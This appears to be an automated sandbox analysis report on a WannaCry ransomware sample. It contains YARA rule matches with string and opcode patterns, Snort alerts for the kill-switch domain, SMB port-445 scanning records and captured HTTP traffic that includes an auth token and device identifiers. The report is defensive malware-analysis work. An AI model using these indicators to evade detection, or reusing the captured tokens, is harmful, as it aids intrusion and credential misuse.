7.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
7.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvr.exe.400000.6.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvr.exe.400000.2.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Click to see the 31 entries

Snort Signatures

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.7 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.78.8.8.860996532830018 07/20/22-19:30:12.626621
SID:	2830018
Source Port:	60996
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.7 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.78.8.8.850519532830018 07/20/22-19:30:12.137675
SID:	2830018
Source Port:	50519
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.7 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.78.8.8.863557532830018 07/20/22-19:30:09.214172
SID:	2830018
Source Port:	63557
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Binary string: d:\Projects\WinRAR\SFX\build\sfxrar32\Release\sfxrar.pdb source: mssecsvr.exe, 00000007.00000002.978251003.0000000000710000.00000002.00000001.01000000.00000004.sdmp, tasksche.exe, 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmp, tasksche.exe, 00000009.00000000.387477104.000000000042A000.00000002.00000001.01000000.00000006.sdmp, goN6vVlV2F.dll, tasksche.exe.6.dr, mssecsvr.exe.2.dr

Source: C:\Windows\tasksche.exe	Code function: 9_2_00409476 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		9_2_00409476
Source: C:\Windows\tasksche.exe	Code function: 9_2_0040DE5E SendDlgItemMessageW,DestroyIcon,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SHGetFileInfoW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		9_2_0040DE5E

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.7:63557 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.7:60996 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.7:50519 -> 8.8.8.8:53

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 53758
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 53924
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 53927
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 54129
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 54132
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 54300
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 54344
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 54417
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 54491
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 54644
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 54668
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 54880
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 54883
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 55120
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 55124
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 55358
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 55363
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 55554
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 55607
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 55722
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 55770
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 55939
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 55950
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 56187
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 56192
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 56445
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 56448
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 56704
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 56707
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 56932
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 56970
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 57066
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 57159
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 57343
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 57348
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 57622
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 57625
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 57905
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 57908
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 58116
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 58195
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 58412
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 58436
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 58646
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 58650
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 58850
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 58854
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 59157
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 59159
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 59464
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 59470
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 59778
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 59782
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 60028
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 60149
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 60266
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 60315
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 60596
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 60604
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 60931
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 60935
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 61272
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 61276
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 61585
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 61621
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 61861
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 61942
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 62216
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 62218
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 62576
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 62578
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 62941
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 62944
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 63195
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 63312
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 63569
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 63571
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 63947
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 63949
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 64332
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 64334
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 64715
Source: unknown	Network traffic detected: HTTP traffic on port 445 -> 64717

Connects to many IPs within the same subnet mask (likely port scanning)

Source: global traffic

TCP traffic: Count: 133 IPs: 213.142.151.16,213.142.151.15,213.142.151.14,213.142.151.13,213.142.151.12,213.142.151.11,213.142.151.99,213.142.151.10,213.142.151.98,213.142.151.97,213.142.151.96,213.142.151.95,213.142.151.94,213.142.151.93,213.142.151.92,213.142.151.91,213.142.151.90,213.142.151.19,213.142.151.18,213.142.151.17,213.142.151.27,213.142.151.26,213.142.151.25,213.142.151.24,213.142.151.23,213.142.151.22,213.142.151.21,213.142.151.20,213.142.151.1,213.142.151.4,213.142.151.5,213.142.151.2,213.142.151.3,213.142.151.8,213.142.151.9,213.142.151.6,213.142.151.7,213.142.151.79,213.142.151.78,213.142.151.100,213.142.151.77,213.142.151.76,213.142.151.75,213.142.151.74,213.142.151.104,213.142.151.73,213.142.151.103,213.142.151.72,213.142.151.102,213.142.151.71,213.142.151.101,213.142.151.70,213.142.151.108,213.142.151.107,213.142.151.106,213.142.151.105,213.142.151.89,213.142.151.88,213.142.151.87,213.142.151.86,213.142.151.85,213.142.151.84,213.142.151.83,213.142.151.82,213.142.151.81,213.142.151.80,213.142.151.59,213.142.151.58,213.142.151.57,213.142.151.56,213.142.151.122,213.142.151.55,213.142.151.121,213.142.151.54,213.142.151.120,213.142.151.53,213.142.151.52,213.142.151.126,213.142.151.51,213.142.151.125,213.142.151.50,213.142.151.124,213.142.151.123,213.142.151.129,213.142.151.128,213.142.151.127,213.142.151.109,213.142.151.69,213.142.151.68,213.142.151.67,213.142.151.111,213.142.151.66,213.142.151.110,213.142.151.65,213.142.151.64,213.142.151.63,213.142.151.115,213.142.151.62,213.142.151.114,213.142.151.61,213.142.151.113,213.142.151.60,213.142.151.112,213.142.151.119,213.142.151.118,213.142.151.117,213.142.151.116,213.142.151.29,213.142.151.28,213.142.151.38,213.142.151.37,213.142.151.36,213.142.151.35,213.142.151.34,213.142.151.33,213.142.151.32,213.142.151.31,213.142.151.30,213.142.151.149,213.142.151.39,213.142.151.49,213.142.151.48,213.142.151.47,213.142.151.46,213.142.151.45,213.142.151.44,213.142.151.132,213.142.151.43,213.142.151.131,213.142.151.42,213.142.151.130,213.142.151.41,213.142.151.40

Source: Joe Sandbox View

JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad

Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4740Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4659Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4794Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
Source: global traffic	HTTP traffic detected: GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-Device-IsBatteryCertified: falseX-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-Device-IsBatteryEnabled: falseX-Device-NetworkType: ethernetX-BM-DTZ: -420X-BM-FirstEnabledTime: 132061395240662859X-DeviceID: 0100748C0900F661X-VoiceActivationOn: falseX-Device-AudioCapture: Microphone (High Definition Audio Device)X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAd21g6yyDc/GBo99yBHK5LNT7AwqIBVMZvo7ue8j%2BqKJoWP4wUNwLmnMBr2oQepGF5o8/OYXHFEJ%2Bdc7AVcx5FMWBs/WhftHJY4feIwC7zgUjYAjS9RWpWtFsV7auupQ8WD6blffbol7QbCvpHozPMAZgFQ0SuwU8v3iow8OJ9ddcph0F9QFpF/7KlV1gJvJ8Xr3i/BehAvI7I4kMOsWudhJn19uaG25Gy70afa4vvP9tfK0sUSDcxb4uv8yDxKZ4tCLqfiEQiR/YodgpzTyukyBthqr%2BR4B%2BkA657qZKmOqbcjVFSp1NUrdGwczkPNHPtVTYvg1ReCxhcMsZQ7YrBoDZgAACOsfISv1qAUcqAHEuTsi1Qrric8csc%2BgmPyaZTjyAxZ87OBWeAgy5d0NJz%2BMV4NDViLU/U290tgx2EGya4kW4c22JpOdvuBwFyvIJDIWsylIUQBpX5RQhB4%2B8TH9d78uQXoIwV3wRtlCdOKMFIYaIjZTxc/CN62SEzufMBMk/R/5VkS3caA1Q5Vohvaw3z4U68hb1LjYBdpa3jjUVAI2lKy1v7g4qhvDIpWqZnIrx4T5rrbrc7/lP17WA75gpp97g25B%2BhSBcGSZouuAkdJHdlkQ2XtaJqmdNRquHUPZyfmhCwW4Q5pISzLPIlSLE5jHmvfzoJndfnEyULIZP5CoX5lqoH1PzB0ZLvFb0c7gLZnANS8lOHaSpg385UTLG1b5VipXFAyfb1CuMog7XzbSLq10fDZIcz4o8mKr9BnlFf7VDR0cBPm39RaPzZbre8dxIV5CC5NmTbsAey42D5pAmf3Kg9Dcu2%2Bp%2BcojbJ/nDK7aaGg8jGJmgKIVydyvMNIrxwFuuD8cAXhBHQrHyjCyWN2GULsHx/DkdoENXNECsAudAv3muMrggC/f7rEP59EyWOFW1gE%3D%26p%3DX-Agent-DeviceId: 0100748C0900F661X-BM-CBT: 1658370583User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-IsEnergyHero: falseX-Device-Touch: falseX-Device-ClientSession: DFA964761F6A4013B2100B55A6B043E3X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
Source: global traffic	HTTP traffic detected: GET /client/config?cc=US&setlang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -420X-BM-FirstEnabledTime: 132061395240662859X-DeviceID: 0100748C0900F661X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAd21g6yyDc/GBo99yBHK5LNT7AwqIBVMZvo7ue8j%2BqKJoWP4wUNwLmnMBr2oQepGF5o8/OYXHFEJ%2Bdc7AVcx5FMWBs/WhftHJY4feIwC7zgUjYAjS9RWpWtFsV7auupQ8WD6blffbol7QbCvpHozPMAZgFQ0SuwU8v3iow8OJ9ddcph0F9QFpF/7KlV1gJvJ8Xr3i/BehAvI7I4kMOsWudhJn19uaG25Gy70afa4vvP9tfK0sUSDcxb4uv8yDxKZ4tCLqfiEQiR/YodgpzTyukyBthqr%2BR4B%2BkA657qZKmOqbcjVFSp1NUrdGwczkPNHPtVTYvg1ReCxhcMsZQ7YrBoDZgAACOsfISv1qAUcqAHEuTsi1Qrric8csc%2BgmPyaZTjyAxZ87OBWeAgy5d0NJz%2BMV4NDViLU/U290tgx2EGya4kW4c22JpOdvuBwFyvIJDIWsylIUQBpX5RQhB4%2B8TH9d78uQXoIwV3wRtlCdOKMFIYaIjZTxc/CN62SEzufMBMk/R/5VkS3caA1Q5Vohvaw3z4U68hb1LjYBdpa3jjUVAI2lKy1v7g4qhvDIpWqZnIrx4T5rrbrc7/lP17WA75gpp97g25B%2BhSBcGSZouuAkdJHdlkQ2XtaJqmdNRquHUPZyfmhCwW4Q5pISzLPIlSLE5jHmvfzoJndfnEyULIZP5CoX5lqoH1PzB0ZLvFb0c7gLZnANS8lOHaSpg385UTLG1b5VipXFAyfb1CuMog7XzbSLq10fDZIcz4o8mKr9BnlFf7VDR0cBPm39RaPzZbre8dxIV5CC5NmTbsAey42D5pAmf3Kg9Dcu2%2Bp%2BcojbJ/nDK7aaGg8jGJmgKIVydyvMNIrxwFuuD8cAXhBHQrHyjCyWN2GULsHx/DkdoENXNECsAudAv3muMrggC/f7rEP59EyWOFW1gE%3D%26p%3DX-Agent-DeviceId: 0100748C0900F661X-BM-CBT: 1658370583User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-Touch: falseX-Device-ClientSession: DFA964761F6A4013B2100B55A6B043E3X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RWR39J?ver=c412 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4PlTB?ver=2a94 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4FqCe?ver=30b0 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Pwej?ver=cbf0 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RWQWjb?ver=0d90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
